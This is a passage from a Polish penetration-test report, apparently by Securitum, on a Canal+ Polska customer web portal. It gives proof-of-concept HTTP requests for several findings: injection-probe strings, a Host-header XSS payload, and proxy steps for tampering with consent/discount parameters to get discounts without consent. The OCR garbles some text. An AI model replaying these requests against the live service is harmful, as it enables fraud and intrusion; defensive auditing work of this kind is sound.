\"#$%8&"' ()*¥+,-./:;<=>?@[\\]*_"{|}~z", "secondDocType" : "DRIVING_LICENCE_NEW","secondDocNumber":"a!
\"#$%&" ()*+, -

/5<=>2@[\\]"_"{|}~z", "companyName" :null, "regon":null, "nip" :null, "krs" :null, "mainAddress" :{"coun
try":"al \"#$%&' ()*+,-./:;<=>?@[\\]*_"{|}~z","postalCode":"a! \"#$%&" ()*+, -
5<=>2@0\\ ]2 {| }~zt, Medty i "al \"#$%&' ()*+,-./:;<=>2@[\\]"_"{|}~z", "prefix":"al \"#$%&'()*+,-
5<=>2@[\\ ]2 {| }~z", "street":"a! \"#$%&' ()*+,-./:;<=>2@[\\]*_"{|}~z", "houseNumber":"a!
\"#$%&" () *+, -

./ 5<=>?2@[\\]1*_"{| }~z", "apartmentNumber" :null, "postOffice" :null}, "mailAddress" :null, "shippingAddr
ess":null,"mobilePhone":"a! \"#$%&"' ()*+,-./:;<=>?@[\\]*_"{|}~z","landPhone":"a! \"#$%&' ()*+, -

./ 15<=>?2@[\\]1*_"{|}~z", "workPhone" :null, "email":"a! \"#$%&' ()*+, -
5<=>2@[\\]"_ " {|}~z","billEmail" : "a! \"#$%&' ()*+, -

L/ 5<=>?2@[\\]*_"{|}~z", "fax":null, "offerEndDate" : "2022-06-

30", "minDuration”:true}, "consents":[{"value":false, "code": "INDELECTR", "discount":true},{"value":f
alse,"code":"INDEND", "discount":true}, {"value":false, "code":"INDDATA","discount":true}, {"value":f
alse,"code":"INDLAWINFORM", "discount":true},{"value":false, "code": "INDMAILRESPONSETOCLIM", "discou
nt":true},{"value":false, "code":"INDREK", "discount":true},{"value":false, "code":"ZGERTP","discoun
t":true}], "isMarketingAgreement" :true}

6. Przestac zadanie dalej.
7. Aplikacja akceptuje przestane wartosci:

HTTP/1.1 200 OK

[..]
Date: Sat, 18 Dec 2021 15:29:53 GMT

[.]




{"status":0, "message" :null, "data":[{"offerId":381, "equipActivationPrice":49, "totalBillPrice":36,"
totalActivationPrice":68,"allDiscountAgreementsMarketing":false, "allDiscountAgreementsEbill":fals
e}],"timestamp":1639841393545}

8. W kroku 6 (Podsumowanie) zaznaczy¢ wszystkie wymagane zgody.
9. Zatwierdzi¢ przyciskiem ,Zamawiam” i przechwyci¢ zadanie narzedziem typu proxy.
10. Zmieni¢ wartosci parametréw, wprowadzajac nieprawidtowe wartosci, np.:

POST /api/mvno/order HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

{"parent":{"customerNumber":5308630, "contractNumber":1}, "orderOffer":[{"offerId":381, "options":[1
462,1463], "equipments":[1468]}], "customer": {"customerType":"P","firstName":"a! \"#$%&"' ()*+, -
/5<=>2@[\\]1*_"{|}~z", "lastName":"a! \"#$%&' ()*+,-./:;<=>2@[\\]*_"{|}~z","pesel":"a!
\"#$%&" () *+, -

./ 15<=>?2@[\\]*_" {| }~z813", "idDocNumber" :null, "firstDocType":"ID_NEW","firstDocNumber":"a!

\"#$%8&" ()*+,-./:;<=>?@[\\]*_"{|}~z", "secondDocType" : "DRIVING_LICENCE_NEW","secondDocNumber":"a!
\"#$%&" ()*+, -

./ 15<=>?2@[\\]*_"{|}~z", "companyName" :null, "regon" :null, "nip" :null, "krs" :null, "mainAddress" : {"coun
try":"al \"#$%&' ()*+,-./:;<=>?@[\\]1*_"{|}~z","postalCode":"a! \"#$%&" ()*+, -
J5<=>2@0\\ ]2 {| }~z", Medty i "al \"#$%&' ()*+,-./:;<=>2@[\\]*_"{|}~z", "prefix":"al \"#$%&'()*+,-
5<=>2@[\\ ]2 {|}~z", "street":"a! \"#$%&' ()*+,-./:;<=>2@[\\]*_"{|}~z", "houseNumber":"a!

\"#$%&" ()*+, -

./ 15<=>?2@[\\]1*_"{|}~z", "apartmentNumber" :null, "postOffice":null}, "mailAddress" :null, "shippingAddr
ess":null, "mobilePhone" :"664072619", "landPhone":"664 072 619", "workPhone" :null, "email":"a!
\"#$%&" ()*¥+,-./:;<=>2@[\\]1*_"{|}~z","billEmail”:"a! \"#$%8&"' ()*+, -

./ 5<=>?2@[\\]*_"{|}~z", "fax":null, "offerEndDate" : "2022-06-

30", "minDuration":true}, "consents":[{"value":true, "code":"INDELECTR", "discount":true}, {"value":tr
ue, "code" :"INDEND", "discount":true}, {"value":true, "code": "INDDATA", "discount" :true}, {"value":true
,"code" : "INDLAWINFORM","discount":true}, {"value":true, "code" : "INDMAILRESPONSETOCLIM", "discount":t
rue},{"value":true, "code":"INDREK","discount":true}, {"value":true, "code":"ZGERTP", "discount":true
}1, "isMarketingAgreement":true,"isFamiliarizationAgreement":true, "additionalPassAgreement":true,"
isEInvoice":false,"isInvoice":false,"isDirectDebit":false, "deliveryConfirmSMS":false, "deliveryCon
firmEmail":false, "deliveryComment" :"Z<u>uuu</u>{{34*7}}k{}a! \"#$%&' ()*+,-./:;<=>2@[\\]"_"{|}~z"}

11. Przesta¢ zadanie dalej.
12. Aplikacja akceptuje przestane wartosci:

HTTP/1.1 200 OK

[..]
Date: Sat, 18 Dec 2021 15:32:50 GMT

[.]

{"status":0, "message" :null, "data":null, "timestamp":1639841570492}




13. Widok w przegladarce:

& > C O 8 https/ficard0.pl.canalplus.com/index.html?#/mvno-data/381/thp 73 & & » =

DZIEKUJEMY ZA WYBRANIE
INTERNETU LTE

1. Potwierdzenie zaméwienia przeslemy na adres -ueuriun.pl

2. Niezwlocznie przystgpimy do weryfikacji Twojego zaméwienia
3. Kurier uméwi sie z Tobq kiedy dostarczy¢ umowe do podpisania
4. Pamietaj o przygotowaniu dokumentéw tozsamosci do podpisania umowy

5. Oplata u kuriera wynosi 19 zt

W przypadku dodatkowych pytan prosimy o kontakt wysytajac do nas wiadomos¢ lub dzwonigc pod

numer
222200010
LOKALIZACIA
e +Internet/+ Telefon - ... - Krok 5 - Przejdz dalej:
POST https://icard0.pl.canalplus.com/api/mvno/summary
e +Internet/+ Telefon - ... - Krok 6 - Zamawiam:

https://icard0.pl.canalplus.com/api/mvno/order

REKOMENDACIA

Zaleca sie wprowadzenie filtracji, ktora bedzie odrzucad wartosci niezgodne z wzorcem dla danego pola.
Walidacja powinna by¢ wprowadzona przede wszystkim po stronie serwera, a nie tylko po stronie klienta.

Warto zaznaczyd, iz serwer nie powinien zwracac wartosci, ktére spowodowaty btad, a jedynie wskazywad, iz:
W polu XYZ wprowadzono nieprawidtowg wartosc.”, ewentualnie z dodatkowa informacja o dozwolonych
znakach, np.: ,Dozwolone znaki to litery i liczby”.

Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Input Validation Cheat Sheet.html

vw.securitum.pl

securitum



[INFO] SECURITUM-215508-014: Brak atrybutu integrity

(0]

W aplikacji sg wezytywane i wykonywane zewnetrzne skrypty podmiotéw trzecich.

Nie jest jednak weryfikowane, czy Zadany plik posiada poprawna sume kontrole. Oznacza to, Ze atakujacy
moze podmieni¢ zawartos$¢ skryptu na serwerze podmiotu trzeciego, co spowoduje uruchomienie ztosliwego
skryptu w aplikacji.

Dodanie atrybutu integrity w elementach «<script> pozwala wigczy¢é dodatkowy mechanizm
zabezpieczajacy przed ww. scenariuszem: przed wykonaniem skryptu przegladarka sprawdzi, czy suma
kontrolna zewnetrznego skryptu jest zgodna z oczekiwana. W takim przypadku skrypt nie zostanie wykonany
w razie niezgodnosci sum kontrolnych.

Wiecej informacji:

e https://www.w3.0rg/TR/SRI

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Po przejsciu pod adres:

https://icard@.pl.canalplus.com/paymentFail.html

znajduje sie przyktad wczytania zewnetrznego skryptu bez weryfikacji sumy kontrolnej:

HTTP/1.1 200 OK

[..]

Date: Thu, 02 Dec 2021 18:56:06 GMT
Connection: close

Server: nc+ app server

[..]<div ng-include="" src="'footer.html'"></div><script
src="//maps.google.com/maps/api/js"></script><script src="scripts/vendor-
login.js?v=1a5a3a75bb48"></script><script src="scripts/app-
login.js?v=1a5a3a75bb48"></script></body></html>

LOKALIZACIA

https://icard0.pl.canalplus.com/paymentFail.html

https://icard0.pl.canalplus.com/paymentOk.html

REKOMENDACIA

Zaleca sie ustawienie atrybutow HTML integrity podczas odwotywania sie do zewnetrznych zasobow.
Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Third Party Javascript Management Cheat Shee
t.html#subresource-integrity




Oris

Podczas testow wykryto, ze nagtéwek Content-Type dla odpowiedzi zawierajgcych grafiki zwraca wartos¢
text/html; charset=utf-8. Zwracanie nieadekwatne] wartosci nagtéwka moze doprowadzi¢ do
nieprawidtowego przetworzenia danych przez przegladarki. Jesli wsrod plikdw graficznych przypadkiem lub
celowo znajdzie sie plik zawierajacy kod HTML/JavaScript, moze to umozliwi¢ wykonanie ataku Cross-Site
Scripting (XSS).

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej zamieszczono przyktadowy adres grafiki:

https://icard@.pl.canalplus.com/api/image/2505

W odpowiedzi serwer zwraca grafike JPG z niepoprawnym typem danych. Plik w pewnym momencie ma
fragment, ktoéry moze zostac zinterpretowany jako znacznik HTML odpowiadajacy za podkreslenie tekstu:

HTTP/1.1 200 OK
X-Application-Context: ICA
Content-Type: text/html
Content-Length: 19741

Date: Wed, 08 Dec 2021 18:27:23 GMT
Connection: close

Set-Cookie: TS@laae88b=[..]; Path=/
Server: nc+ app server

y@ya[..]JHcXIoA2«vF (90EIe@2Ca<u>r¢+kr; cI()K1ar{k-"S$A[..]

Widok w przegladarce - nie wyswietla sie plik graficzny, a powstaty tekst od pewnego momentu jest
podkreslony, co oznacza, ze znacznik <u> zostat zinterpretowany:

_ e i = e _

& = C O B8 nhtips:/ficard0.pl.canalplus.com/apifimage/2505 ¥ & » =

>pulw AR %% a 6u- UEPu 45¥Mm-Ym
¥i)62ETKUASE()D( @ P( @ P( @iy d/EE€™"...CZ®g6*0phU%c[ eisr
SEY XAnYVE $142&Ej60se+0EO\A, Yidy a— "2Le*y~~P-o"@iSyRV 400’ EOA =W auA )ER-
G IM-W¥E1§¥1071°, uCAAnd Vo E* 4€E1Y2@!"+¢G™ 10ZN6{686®" 3%, ~IEJ, ©J"AITZY"'w
4uHp@\LIAACoc\ni5'kXm ¥NOEJ* |M-H¢X10A2«vF(90EIe©*Cang+kr;cl()Klnr{k-"SSAE:
+0gGIdGA-Y»h.-grTev0*“qad0-—r:8§-IIACCZOI{N?SAdAOIIEm & A’ £P(®...1 %BE
nB/E— fUUE §«KfY*“ €§a")CAr...UsA€§I0 (]@j; UEdss 1LT™ 90-¢&96J¢d;Rgb+ ©iU{;
N#APUL$98-Ee>i46QI6¢  Tiit U346 e\ *anEUTeo#wS °°2AP&SCs~E¢clE%e
—le ~qlu”COA*KUSIL; «*MicaAlfiéFBNUAdxe*321+16!é- 1ZB™ :iP.40ZjcDee+pEF#
16°q,6°0d)*YAB @S £§I£6I¥GHEUZAM3N¥+Q™-O§ 1O thu ®Y¥d; y-ZgIAECK®:¥ XA. €904
NW*kCco Yoo\ g!;OiiF'2" PcRe 2G§7%IUsiavO“+A0*IWU... 6B B Y« JUV
0a;9"0%OUNELY©f: 18YE Xi, Tn0Y UA@%T P( @ P( @ P(,Ut¢% EX8ELL{-UY*LE+A;

LOKALIZACIA

https://icard0.pl.canalplus.com/api/image/[...]

+48 (12) 361 3337

securitum@securitum.pl

ecuritum.pl
ekurak.pl

securitum




REKOMENDACIA

Zaleca sie zwracac prawidtowa wartos¢ Content-Type zgodna z typem zwracanego pliku graficznego, np. dla
plikéw JPG powinno to by¢:

Content-Type: image/jpeg

securitum



[INFO] SECURITUM-215508-016: Pipelining HTTP

(0]

W trakcie audytu zaobserwowano, ze serwer wspiera pipelining HTTP. Mozliwe jest wystanie razem kilku
zadan, bez czekania na poszczegdlne odpowiedzi.

Punkt zostat zaklasyfikowany jako informacyjny, poniewaz w trakcie testow nie zidentyfikowano
bezposredniego zagrozenia zwigzanego tym punktem. Niemniej jednak zachowanie to moze postuzy¢ do
omijania filtrow dziatajacych przed aplikacja (w tym mechanizmdw klasy WAF - Web Application Firewall).

Wiecej informacji:

e https://sekurak.pl/protokol-http-2-czyli-szybciej-ale-czy-rowniez-bezpieczniej
e https://tools.ietf.org/html/rfc7230#section-6.3.2
e https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection management in HTTP 1.x

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Poszczegblne zadania musza:

e Nie posiada¢ nagtowka Content-length lub miec jego warto$¢ ustawiong tak, by w ten sposéb
okreslona dtugos¢ pierwszego zadania konczyta sie przed nagtéwkiem drugiego zadania
(w przypadku zadan bez ciata: Content-length: o).

e Nie posiadac nagtéwka Connection: close lub posiadac nagtéwek Connection: keep-alive.

Dwa kolejne zadania wystane razem:

GET /xxx HTTP/1.1

Host: icard@.pl.canalplus.com

User-Agent: Mozilla/5.0 (Macintosh; BLUE; rv:98.0) Gecko/20100101 Firefox/98.0
Accept-Encoding: gzip, deflate

GET / HTTP/1.1

Host: icard@.pl.canalplus.com

User-Agent: Mozilla/5.0 (Macintosh; BLUE; rv:98.0) Gecko/20100101 Firefox/98.0
Accept-Encoding: deflate

Jak wida¢ ponizej otrzymano dwie odpowiedzi jedna po drugiej - odpowiedZ na drugie zadanie zostata
zaznaczona kolorem zéttym:

HTTP/1.1 302 Found

X-Application-Context: ICA

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: @

X-Frame-Options: DENY

Location: http://icard@.pl.canalplus.com/index.html?#/404
Content-Language: en-US

Content-Length: @

Date: Thu, 02 Dec 2021 17:58:06 GMT




Set-Cookie: canal+app=[..]; path=/; Httponly; Secure
Set-Cookie: TS@laae88b=[..]; Path=/
Server: nc+ app server

HTTP/1.1 302 Found

Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache

Expires: @

Set-Cookie: MOJE_SIDENT=[..]; Path=/; HttpOnly
X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

X-Frame-Options: DENY

Location:
https://icard@.pl.canalplus.com/cas/login?service=https%3A%2F%2Ficard®.pl.canalplus.com%2Flogin%2
Fcas

Content-Length: @

Date: Thu, 02 Dec 2021 17:58:06 GMT

Set-Cookie: TS@laae88b=[..]; Path=/

Server: nc+ app server

LOKALIZACIA

Konfiguracja serwera.

REKOMENDACIA

Jezeli pipelining HTTP nie jest uzywany, mechanizm powinien zosta¢ wytaczony.




[INFO] SECURITUM-215508-017: Publicznie dostepna kopia strony

(0]

W trakcie realizacji testow znaleziono publicznie dostepna kopie witryny. Prawdopodobnie jest to Srodowisko
testowe lub deweloperskie. Srodowiska takie sg zwykle mniej bezpieczne, poniewaz maja status ,praca
w toku”, dlatego osoba atakujgca, ktéra uzyska dostep do takiego Srodowiska, ma wieksze szanse na
znalezienie luk w zabezpieczeniach.

Nie przeprowadzano dalszej analizy, poniewaz wszystkie domeny sa poza zakresem testu.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Korzystajac z narzedzia crt.sh znaleziono nastepujace domeny prawdopodobnie powigzane z przedmiotem
testow — wywnioskowano tak na podstawie prefiksu ,ica

crt.sh | pl.canalplus.com X

(¢ hitps://crt.sh/2c

4473181198 2021-05-04 2021-05-04 2021-08-02 dev.pl.canalplus.com admin.premiery.pl.canalplus.com C=US, O=Let's Encrypt, CN=R3
dev.pl.canalplus.com
eumoward0.pl.canalplus.com
godt8.pl.canalplus.com
gord0.pl.canalplus.com
gout1.pl. canalplus com

- P!
icard0.pl. canalplus com

icaut1.pl.canalplus.com
icaut3.pl.canalplus.com

kuprdO pI canalplus com
kuput1.pl.canalplus.com
kuput7.pl.canalplus.com
kuput8.pl.canalplus.com
old.tv.pl.canalplus.com
preview.corporate.pl.canalplus.com
sklepuat.pl.canalplus.com
vademecumpos.pl.canalplus.com
4467274796 2021-05-03 2021-05-03 2021-08-01 callback. pI canalplus com callback pl canalplus com
4467274821 2021-05-03 2021-05-03 2021-08-01 callba
4222380748 2021-03-16 2021-03-16 2021-06-1f ica
4222374109 2021-03-16 2021-03-16 2021-06-14 icaut:
4084498298 2021-02-15 2021-02-15 2021-05-16 callbacl .pl.canalplus. /pt
4084500048 2021-02-15 2021-02-15 2021-05-16 callback pI canalplus com callback pl. canalplus com C=l US O=Let's Encrypt _CN=R3 R3

Przy probie dostepu bez potaczenia VPN:

e jcard0.pl.canalplus.com (przedmiot testéw) jest niedostepna:

$ curl icarde.pl.canalplus.com -i

HTTP/1.0 302 Moved Temporarily

Location: https://icard@.pl.canalplus.com/
Server: Apache

Connection: Keep-Alive

Content-Length: @

$ curl https://icarde.pl.canalplus.com -i
curl: (56) LibreSSL SSL_read: SSL_ERROR_SYSCALL, errno 54
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e jcadt8.pl.canalplus.com odpowiada btedem:

HTTP/2 503 Service Unavailable

Server: AkamaiGHost

Mime-Version: 1.0

Content-Type: text/html
Content-Length: 176

Expires: Wed, 08 Dec 2021 13:53:25 GMT
Date: Wed, 08 Dec 2021 13:53:25 GMT

<HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY>

An error occurred while processing your request.<p>
Reference&#32;&#35;30&#46;4c645e688#46;1638971605&#46 ;3042166
</BODY></HTML >

e jcautl.pl.canalplus.com odpowiada btedem:

HTTP/2 403 Forbidden

Server: AkamaiGHost

Mime-Version: 1.0

Content-Type: text/html
Content-Length: 277

Expires: Wed, 08 Dec 2021 13:54:35 GMT
Date: Wed, 08 Dec 2021 13:54:35 GMT

<HTML><HEAD>

KTITLE>Access Denied</TITLE>
</HEAD><BODY>

<H1>Access Denied</H1>

You don't have permission to access "http&#58;&#47;&#47;icautl&#46;pl&#46;canalplus&#46;com&#47;"
on this server.<P>

Reference&#32;&#35;18&#46;db6656b8&#46;1638971675&#46;52a9tb03

</BODY>

</HTML>

e jcaut2.pl.canalplus.com jest niedostepna:

$ curl icaut2.pl.canalplus.com -i

HTTP/1.0 302 Moved Temporarily

Location: https://icaut2.pl.canalplus.com/
Server: Apache

Connection: Keep-Alive

Content-Length: @

$ curl https://icaut2.pl.canalplus.com -i
curl: (56) LibreSSL SSL_read: SSL_ERROR_SYSCALL, errno 54




e jcaut3.pl.canalplus.comjest dostepna - Jest to prawdopodobnie testowa lub deweloperska wersja
audytowanej aplikacji. Dostep do niej jest publiczny i w zaden sposdb nie zabezpieczony. Widok
w przegladarce:

+ Strefa CANAL+ Logowanie X +

© @ icaut3.pl.canalplus.com ® v 0O @ Incognito

STREFA (LW LIS 4

KORZYSCI ZE STREFY CANAL+

4 I <

adres e-mail: CHl
o , & ) N
wpisz swoj adres e-mail . | )
OSZCZEDZ SPRAWDZ le)
hasto: CZAS PLATNOSCI s
wpisz swoje hasto do serwisu 8
&= = E
Nie pamietam hasta> S 5
POSZERZ ZAMOW E
UWAGA! ZMIANA SPOSOBU LOGOWANIA OFERTE FILMY NA ZADANIE 4
Jezeli dotychczas logowates si¢ za pomocg numeru PESEL lub w
NIP, kliknij ZAREJESTRU]J SIE i zat6z konto ponownie. (&)

ZALOGU) ZAREJESTRUJ SIE

Logowanie dla klientéw Orange @

TA STRONA WYKORZYSTUJE COOKIES m WIECE) INFORMAC]I >

LOKALIZACIA

e icaut3.pl.canalplus.com - witryna dostepna w Internecie
e icadt8.pl.canalplus.com
e icautl.pl.canalplus.com
e icaut2.pl.canalplus.com

icard0.pl.canalplus.com

REKOMENDACIA

Zaleca sie zweryfikowad, czy dostep do wskazanej wersji witryny (icaut3.pl.canalplus.com) musi by¢ mozliwy
z publicznej sieci Internet. Jezeli nie, dostep powinien zosta¢ ograniczony, np. do wybranych grup adreséw IP
lub jedynie w sieci wewnetrznej przez VPN. W celu lepszego zabezpieczenia dostepu mozna zastosowac
certyfikaty klienckie. Doktadny opis wykorzystania tej metody mozna znalez¢ pod ponizszym adresem:

e https://www.scriptjunkie.us/2013/11/adding-easy-ssl-client-authentication-to-any-webapp/

Nalezy réwniez zweryfikowac, czy pozostate domeny sg prawidtowo zabezpieczone przed niepowotanym
dostepem.
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Oris

Testowana aplikacja udostepnia dokumentacje APl na serwerze hostujacym aplikacje. Takie zachowanie
moze pomodc atakujacemu w lepszym sprofilowaniu Srodowiska aplikacji, co moze zostal nastepnie
wykorzystane do przeprowadzania dalszych atakow.

Dokumentacja jest udostepniania z wykorzystaniem narzedzia Swagger. Narzedzie to jest w przestarzatej
wersji, podatnej na atak XSS (podatno$¢: ,SECURITUM-215508-002: Reflected Cross-Site Scripting (XSS) -
Swagger UI”).

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad #1 — REST API
Interfejs REST API jest dostepny pod adresem:

‘ https://icard@.pl.canalplus.com/v2/api-docs ‘

Widok w przegladarce:

icardo.pl .canaIplus.com/VZ/api-docs b _

& > C 8 https://icard0.pl.canalplus.com/v2/api-docs

JSON  Nieprzetworzone dane  Nagtéwki

Zapisz Kopiuj Zwin wszystkie Rozwin wszystkie (moze to chwile zajgé) Y Filtruj JSON

swagger: "2.0"
v info:
description: "API for mobile and WwWw"
version: "@project.version@"
title: "ICA 3.0 API Jwr"
w contact:
name: "https://_
host: "icard@.pl.canalplus.com"
basePath: A
» tags: [..]

» /api/account/changelogin:

» /api/account/changePassword:

» /api/account/closePage:

» /api/account/logout:

» /api/account/register:

» /api/account/reminderCustomerId:

Il - B I A I

b /api/account/resetPassword:

+48 (12) 361 3337
securitum@securitum.pl

.securitum.pl
.sekurak.pl
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Przyktad #2 — Swagger
Widok w konsoli przegladarki:

> document.URL
& "https://icard@.pl.canalplus.com/swagger—ui.html"

» versions.swaggerUi

& » Object { version: "3.17.1", gitRevision: "ga6656ced", gitDirty: true, buildTimestamp:
"Sat, 16 Jun 2018 07:23:59 GMT", machine: "banjo" }

LOKALIZACIA

e https://icard0.pl.canalplus.com/swagger-ui.html
e https://icard0.pl.canalplus.com/swagger-resources
e https://icard0.pl.canalplus.com/v2/api-docs

REKOMENDACIA

Zaleca sie wytaczenie i usuniecie z serwera narzedzia Swagger oraz innych nieuzywanych ustug.

Jesli narzedzie Swagger jest niezbedne do prawidtowego dziatania aplikacji, nalezy zaktualizowac je do
najnowszej stabilnej wersji.
Jesli ktéras z ustug jest potrzebna, dostepne powinny byc tylko niezbedne koncowki. Dostep do wszystkich

nieuzywanych koncéwek powinien by¢ zablokowany.

Jesli interfejsy pozostang dostepne, nalezy réwniez wdrozy¢ rate limiting, tj. ograniczenie czestotliwosci
obstugiwania zadan przez klienta w okreslonych ramach czasowych. Wiecej informacji:

e https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa4-lack-of-resources-and-rate-
limiting.md#how-to-prevent
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[INFO] SECURITUM-215508-019: Reflected Cross-Site Scripting (XSS)
poprzez nazwe hosta

(0]

Podczas audytu wykryto mozliwo$¢ wykonania podatnosci Reflected Cross-Site Scripting poprzez odbicie
nagtéwka Host w komunikacie btedu. Punkt zostat oznaczony jako informacyjny ze wzgledu na brak
mozliwosci wstrzykniecia nagtéwka Host w zgdaniach innych uzytkownikéw.

Wiecej informacji:

e https://sekurak.pl/czym-jest-xss

e https://cdn.sekurak.pl/podatnosc XSS.pdf

e https://owasp.org/www-community/attacks/xss

e https://cwe.mitre.org/data/definitions/79.html

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aby potwierdzi¢ omawiane zachowanie, nalezy do https;//icard0.pl.canalplus.com/ wysta¢ nastepujace
zadanie:

GET / HTTP/1.1
Host: <script>alert(document.domain)</script>

[.]

W odpowiedzi w komunikacie btedu zostaje odbity nagtowek Host bez zadnego filtrowania:

HTTP/1.0 403 Forbidden
Server: Apache
Connection: Keep-Alive
Content-Length: 261

<html><head>

<title>403 Forbidden</title>

</head><body>

<h1>Forbidden bla bla bla</h1>

<p>You don't have permission to access / on this server.<br />

</p>

<hr>

<address>Apache Server at <script>alert(document.domain)</script> Port 443</address>
</body></html>

LOKALIZACIA

https://icard0.pl.canalplus.com/, komunikat btedu serwera (dla btedu 403 Forbidden)

REKOMENDACIA

Zaleca sie, aby wszystkie dane otrzymywane od uzytkownika byty odpowiednio filtrowane (odrzucenie
wartosci niezgodnych z szablonem/formatem danego pola), a nastepnie zakodowane na wyjsciu wzgledem
kontekstu, w ktérym sg osadzane.



Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Cross Site Scripting Prevention Cheat Sheet.ht
ml

e https://owasp.org/www-community/xss-filter-evasion-cheatsheet

e https://cheatsheetseries.owasp.org/cheatsheets/Input Validation Cheat Sheet.html
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[INFO] SECURITUM-215508-020: Mozliwos¢ uzyskania znizek bez
wyrazenia zgod

(0]

W trakcie audytu zaobserwowano, ze zmiana zgdd powoduje wystanie zadania, w ktérym wysytane sa dwa
parametry. Na podstawie ich nazw wywnioskowano, ze moga to by¢ parametry: jeden odpowiedzialny za
wyrazenie zgody, drugi za przyznanie znizki. W takim przypadku uzytkownik odpowiednio manipulujac
zadaniem, moze ustawic¢ brak zgdd przy jednoczesnym przyznaniu znizek. MoZe to narazi¢ Zamawiajacego na
straty finansowe.

Poniewaz potencjalne znizki zostang naliczone dopiero podczas kolejnej optaty, nie jest jasne, czy pomimo
braku zgdd znizki zostana uwzglednione. Z tego powodu opisywane zachowanie oznaczono jako punkt
informacyjny.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aby potwierdzi¢ opisane zachowanie, nalezy wykonaé nastepujace kroki:

Zalogowac sie w aplikacji.

2. Przejs¢ do: Moja oferta - Dane i zgody - Zgody.
3. Wczesci ,Zgody marketingowe niezbedne do uzyskania rabatu” kliknac na przycisk ,Zmien”.
4. Widoczny jest komunikat ,Wyrazenie przez Ciebie wszystkich ponizszych zgdd powoduje przyznanie

rabatu 5 zt miesiecznie w tej ofercie”.
5. Odznaczy¢ wszystkie zgody.
6. Zatwierdzi¢ przyciskiem ,Zapisz” i przejac Zzadanie narzedziem typu proxy (np. Burp Suite):

POST /api/contract/modifyConsents HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

{"consents":[{"code" :"INDCONFIDENTIAL","value":false,"discount":false},{"code":"INDCONFIDENTIALCI
E","value":false,"discount":false}, {"code":"INDCREAGR", "value":false, "discount":false},{"code":"I
NDELECTR", "value":false, "discount":false},{"code":"INDELECTR_MAIL","value":false,"discount":false
},{"code":"INDELECTR_SMS", "value":false,"discount":false},{"code":"INDELECTR_STB", "value":false,"
discount":false},{"code":"INDEND", "value":false, "discount":false},{"code":"INDEND _MAIL","value":f
alse,"discount":false},{"code":"INDEND_SMS","value":false,"discount":false},{"code":"INDEND_STB",
"value":false, "discount":false},{"code":"INDEND TEL","value":false,"discount":false},{"code":"IND
INDOFM", "value":false, "discount":false},{"code":"INDMAILRESPONSETOCLIM", "value":false,"discount":
false}, {"code":"INDREK", "value":false, "discount":false}, {"code":"ZGERTP", "value":false, "discount"
:false}]}

7. Kazdy rodzaj zgody posiada dwa parametry: value oraz discount.
8. Wartosci parametréw value pozostawic¢ bez zmian (false). Wartosci parametru discount zmieni¢ na

true:

POST /api/contract/modifyConsents HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

{"consents":[{"code" :"INDCONFIDENTIAL","value":false,"discount":true},{"code":"INDCONFIDENTIALCIE
","value":false, "discount":true}, {"code":"INDCREAGR", "value":false, "discount":true},{"code": "INDE




LECTR", "value":false, "discount":true},{"code":"INDELECTR_MAIL","value":false, "discount":true},{"c
ode":"INDELECTR_SMS","value":false, "discount":true}, {"code":"INDELECTR_STB", "value":false, "discou
nt":true},{"code":"INDEND", "value":false, "discount":true}, {"code": "INDEND_MAIL","value":false,"di
scount":true},{"code":"INDEND_SMS","value":false,"discount":true},{"code":"INDEND_STB", "value":fa
lse,"discount":true}, {"code" :"INDEND_TEL","value":false,"discount":true},{"code":"INDINDOFM", "val
ue":false,"discount":true}, {"code":"INDMAILRESPONSETOCLIM", "value":false, "discount":true}, {"code"
:"INDREK", "value":false, "discount":true},{"code":"ZGERTP", "value":false, "discount":true}]}

9. Przestac zadanie dalej.
10. Aplikacja przyjmuje przestane zadanie:

HTTP/1.1 200 OK

X-Application-Context: ICA

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: @

X-Frame-Options: DENY

Content-Type: application/json;charset=UTF-8

Date: Sat, 18 Dec 2021 13:55:46 GMT

[.]

{"status":0, "message" :null, "data":null, "timestamp":1639835746635}

11. Zgody nie sg zaznaczone — widok w przegladarce:

=+ Strefa CANAL+ X -+

C OB https://icard0.pl.canalplus.com/index.htm|?#/myoffer/data

ZGODY MARKETINGOWE NIEZBEDNE DO UZYSKANIA RABATU

Wyrazenie przez Ciebie wszystkich ponizszych zgéd powoduje przyznanie rabatu 5 zt
miesigcznie w tej ofercie

Zgadzam sie na otrzymywanie informacji handlowych dotyczqcych
CANAL+ Polska S.A. srodkami komunikacii elekironicznej.
WyraZ zgode aby uzyska¢ rabat

e-mail
SMS

Dekoder

Zgadzam sie na uzywanie w stosunku do mnie przez CANAL+ Polska S.A. v
telekomunikacyjnych urzqdzen kohcowych i automatycznych systemow

wywolujgeych dla celéw markefingu bezposredniego.

Wyraz zgode aby uzyska¢ rabat

12. Poniewaz potencjalne znizki zostang naliczone dopiero podczas kolejnej optaty, nie jest jasne, czy
pomimo braku zgdd znizki zostana uwzglednione.
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LOKALIZACIA

e Moja oferta - Dane i zgody - Zgody - Zgody marketingowe niezbedne do uzyskania rabatu /

Pozostate zgody:

POST https://icard0.pl.canalplus.com/api/contract/modifyConsents
e +Internet/+ Telefon - ... - Krok 5 - Przejdz dalej:

POST https://icard0.pl.canalplus.com/api/mvno/summary
e +internet/+ Telefon - ... - Krok 6 - Zamawiam:

